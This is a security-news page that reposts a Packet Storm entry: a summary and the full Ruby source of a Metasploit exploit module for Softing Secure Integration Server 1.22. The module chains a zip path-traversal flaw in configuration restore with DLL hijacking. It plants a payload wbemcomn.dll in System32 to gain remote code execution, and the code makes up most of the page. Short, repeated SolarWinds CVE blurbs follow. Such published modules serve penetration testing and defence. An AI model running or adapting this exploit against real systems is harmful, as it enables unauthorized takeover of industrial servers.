Security
Headlines
HeadlinesLatestCVEs

Headline

Softing Secure Integration Server 1.22 Remote Code Execution

This Metasploit module chains two vulnerabilities to achieve authenticated remote code execution against Softing Secure Integration Server version 1.22. In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerability when processing zip files. When using the “restore configuration” feature to upload a zip file containing a path traversal file which is a dll called …\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk. In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system. The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication. A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one.

Packet Storm
#vulnerability#windows#js#git#rce#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'zip'require 'metasploit/framework/login_scanner/softing_sis'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Softing Secure Integration Server v1.22 Remote Code Execution',        'Description' => %q{          This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.          In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk.          In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.          The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.          A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.        },        'License' => MSF_LICENSE,        'Author' => [          'Chris Anastasio (muffin) of Incite Team', # discovery          'Steven Seeley (mr_me) of Incite Team', # discovery          'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>', # msf module        ],        'References' => [          ['CVE', '2022-1373'],          ['CVE', '2022-2334'],          ['ZDI', '22-1154'],          ['ZDI', '22-1156'],          ['URL', 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html'],          ['URL', 'https://ide0x90.github.io/softing-sis-122-rce/']        ],        'DefaultOptions' => {          'RPORT' => 8099,          'SSL' => false,          'EXITFUNC' => 'thread',          'WfsDelay' => 300        },        'Platform' => 'win',        # the software itself only supports x64, see        # https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html        'Arch' => [ARCH_X64],        'Targets' => [          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2022-07-27',        'Privileged' => true,        'Compat' => {          'Meterpreter' => {            'Commands' => %w[              stdapi_fs_delete_file            ]          }        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new('SIGNATURE', [false, 'Use a username/signature pair instead of username/password pair to authenticate']),        OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),        OptString.new('PASSWORD', [false, 'The password to specify for authentication', 'admin']),        OptString.new('DLLPATH', [false, 'Custom compiled DLL to use'])      ]    )    self.needs_cleanup = true  end  # this will be updated with the signature from "check"  @signature = nil  # create a checker instance to reuse code from the Softing SIS login bruteforce module  def checker_instance    Metasploit::Framework::LoginScanner::SoftingSIS.new(      configure_http_login_scanner(        host: datastore['RHOSTS'],        port: datastore['RPORT'],        connection_timeout: 5      )    ).dup  end  # check if the generated/provided signature is valid for the specified user  def signature_check(user, signature)    send_request_cgi({      'method' => 'GET',      'uri' => "/runtime/core/user/#{user}/authentication",      'vars_get' => {        'User' => user,        'Signature' => signature      }    })  end  def check    # check the Softing SIS version    softing_version_res = checker_instance.check_setup    unless softing_version_res      return CheckCode::Unknown    end    softing_version = Rex::Version.new(softing_version_res)    print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}")    # the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory    # so we will not continue if the version is not vulnerable    unless softing_version < Rex::Version.new('1.30')      return CheckCode::Safe    end    # if the operator provides a signature, then use that instead of the username and password    if datastore['SIGNATURE']      print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...")      # send a GET request to /runtime/core/user/<username>/authentication      signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE'])      # if we cannot connect at this point, we only know that the version is < 1.30      # the system "appears" to be vulnerable      unless signature_check_res        print_error("#{peer} - Connection failed!")      end      # if the signature is correct, 200 OK is returned      if signature_check_res.code == 200        print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore['USERNAME']}")        @signature = datastore['SIGNATURE']      else        print_error("#{peer} - Signature #{datastore['SIGNATURE']} is invalid for user #{datastore['USERNAME']}!")      end    # login with username and password    else      # get the authentication token      auth_token = checker_instance.get_auth_token(datastore['USERNAME'])      # generate the signature      @signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD'])      # check the generated signatures' validity      signature_check_res = signature_check(datastore['USERNAME'], @signature)      # if we cannot connect, then the system "appears" to be vulnerable      unless signature_check_res        print_error("#{peer} - Connection failed!")      end      # if the signature is correct, 200 OK is returned      if signature_check_res.code == 200        print_good("#{peer} - Valid credentials provided")      else        print_error("#{peer} - Invalid credentials!")      end    end    # if the version is less than 1.30 it's supposedly vulnerable    # but there is no way to confirm vulnerability existence without actually exploiting    # so instead of "Vulnerable", return "Appears"    CheckCode::Appears  end  def exploit    # did the operator specify a custom DLL? If not...    if datastore['DLLPATH']      # otherwise, just use their provided DLL and assume they compiled everything correctly      # there is no way to check if it's compiled correctly anyway      dll_path = datastore['DLLPATH']    else      # have MSF create the malicious DLL      path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')      datastore['EXE::Path'] = path      datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')      print_status('Generating payload DLL...')      dll = generate_payload_dll      dll_name = 'wbemcomn.dll'      dll_path = store_file(dll, dll_name)      print_status("Created #{dll_path}")    end    # backup the Softing SIS configuration    print_status("#{peer} - Saving configuration...")    get_config_zip_res = send_request_cgi({      'method' => 'GET',      'uri' => '/runtime/core/config-download',      'vars_get' => {        'User' => datastore['USERNAME'],        'Signature' => @signature      }    })    # end if we cannot get the configuration for some reason    unless get_config_zip_res      fail_with Failure::Unreachable, "#{peer} - Could not obtain configuration"    end    # status code 200 is the expected response to getting the configuration ZIP    unless get_config_zip_res.code == 200      # for verbosity, save the JSON response      get_config_zip_res_json = get_config_zip_res.get_json_document      vprint_error("#{peer} - #{get_config_zip_res_json}")      fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{get_config_zip_res.code}, could not obtain configuration"    end    # if successful, the body cnotains the configuration ZIP    config_zip = get_config_zip_res.body    # config_download.zip is the name of the configuration ZIP when downloading from the browser    # append a hash based on the peer address to prevent overwriting the config file if there are multiple targets    config_zip_name = "config_download_#{Digest::MD5.hexdigest(peer)}.zip"    # store the config zip file    config_zip_path = store_file(config_zip, config_zip_name)    print_status("Saved configuration to #{config_zip_path}")    # insert the malicious DLL    Zip::File.open(config_zip_path, Zip::File::CREATE) do |zipfile|      zipfile.add('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll', dll_path)    end    # restore the configuration    restore_config_res = send_request_cgi({      'method' => 'PUT',      'uri' => '/runtime/core/config-restore',      'cookie' => "systemLang=en-US; lang=en; User=#{datastore['USERNAME']}; Signature=#{@signature}",      'vars_get' => {        'User' => datastore['USERNAME'],        'Signature' => @signature      },      'data' => File.read(config_zip_path)    })    # no response    unless restore_config_res      fail_with Failure::Unreachable, "#{peer} - Could not restore configuration!"    end    # bad response    unless restore_config_res.code == 200      # for verbosity, show the JSON response      restore_config_res_json = restore_config_res.get_json_document      vprint_error("#{peer} - #{restore_config_res_json}")      fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"    end  end  # clean up the planted DLL if the session is meterpreter  def on_new_session(session)    super    unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')      # if the exploit was successful, register the malicious wbemcomn.dll file for cleanup      register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')    end  end  # Store the file in the MSF local directory (/root/.msf4/local/) so it can be used when creating the ZIP file  # literal copypasta from exploits/windows/fileformat/cve_2017_8464_lnk_rce  def store_file(data, filename)    if !::File.directory?(Msf::Config.local_directory)      FileUtils.mkdir_p(Msf::Config.local_directory)    end    if filename && !filename.empty?      fname, ext = filename.split('.')    else      fname = "local_#{Time.now.utc.to_i}"    end    fname = ::File.split(fname).last    fname.gsub!(/[^a-z0-9._-]+/i, '')    fname << ".#{ext}"    path = File.join("#{Msf::Config.local_directory}/", fname)    full_path = ::File.expand_path(path)    File.open(full_path, 'wb') { |fd| fd.write(data) }    full_path.dup  endend

Related news

CVE-2022-36957: Published | Zero Day Initiative

SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.

CVE-2022-38108: Published | Zero Day Initiative

SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.

CVE-2022-36957: Published | Zero Day Initiative

SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.

CVE-2022-38108: Published | Zero Day Initiative

SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution